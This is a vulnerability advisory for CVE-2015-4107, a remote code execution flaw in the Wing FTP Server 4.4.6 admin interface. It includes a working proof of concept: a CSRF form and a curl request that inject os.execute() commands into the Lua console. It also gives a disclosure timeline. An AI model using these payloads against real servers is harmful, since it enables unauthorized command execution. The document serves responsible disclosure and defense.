Wing FTP Server Remote Code Execution vulnerability

Subject: Wing FTP Server Remote Code Execution vulnerability

Exploit Title: Wing FTP Server Remote Code Execution vulnerability
Product: Wing FTP Server
Vulnerable Versions: 4.4.6 and all previous versions
Tested Version: 4.4.6
Advisory Publication: 05/06/2015
Latest Update: 05/06/2015
Vulnerability Type: Improper Control of Generation of Code [CWE-94]
CVE Reference: CVE-2015-4107
Credit: Alex Haynes

Advisory Details:

(1) Vendor & Product Description
Vendor:Wing FTP software

Product & Version:
Wing FTP Server v 4.4.6

Vendor URL & Download:

Product Description:
"Wing FTP Server is an easy-to-use, secure and feature-rich enterprise FTP Server that can be used in Windows, Linux, Mac OSX and Solaris. It supports a number of file transfer protocols, including FTP, HTTP, FTPS, HTTPS and SFTP server, giving your end-users flexibility in how they connect to the server. And it provides admins with a web based interface to administrate the server from anywhere. You can also monitor server performance and online sessions and even receive email notifications about various events taking place on the server."

(2) Vulnerability Details:
The admin interface of Wing FTP Server is vulnerable to a Remote Code Execution (RCE) vulnerability. 

Proof of concept for RCE [CVE-2015-4107]:

The RCE can be exploited in two scenarios, either by a CSRF attack (the admin interface is vulnerable to CSRF attacks) or by being authenticated to the admin interface. The attack leverages the LUA CLI to inject commands at the same privilege as the web server.


    <form action="http://<server address>:5466/admin_lua_script.html" method="POST" enctype="text/plain">
      <input type="hidden" name="command" value="os.execute('<any OS command here>')" />
      <input type="submit" value="Submit request" />

RCE via authenticated administrator

1) Either utilising the LUA Console interface directly and using the os.execute('<OS command here>') method.
2) POST directly using CURL with an authenticated cookie:
curl -i -s -k  -X 'POST' -b 'admin_lang=english; UIDADMIN=b8b208e2239f462c11641eaa10cde7b0' --data-binary $'command=os.execute(\'cmd.exe\')'
'http://<server address>:5466/admin_lua_script.html'

Parameter names: "command"
Parameter Type: POST
Attack Pattern:
Any OS command can be inserted into the os.execute('') method.

(3) Advisory Timeline:
27/05/2015 - First Contact
27/05/2015 - Vendor responds with requests for details of vulnerabilities.
28/05/2015 - Vulnerability details sent with POC.
28/05/2015 - Vendor requests clarification on impact and various attack scenarios.
28/05/2015 - Vulnerability scenarios defined.
29/05/2015 - Vulnerability confirmed and new version 4.4.7 released. Requests a week delay before public disclosure.
05/06/2015 - Public disclosure

CSRF attack vector fixed in version 4.4.7. No fix for authenticated RCE at this time.

(5) Credits:
Discovered by Alex Haynes


Copyright © 1995-2020 All rights reserved.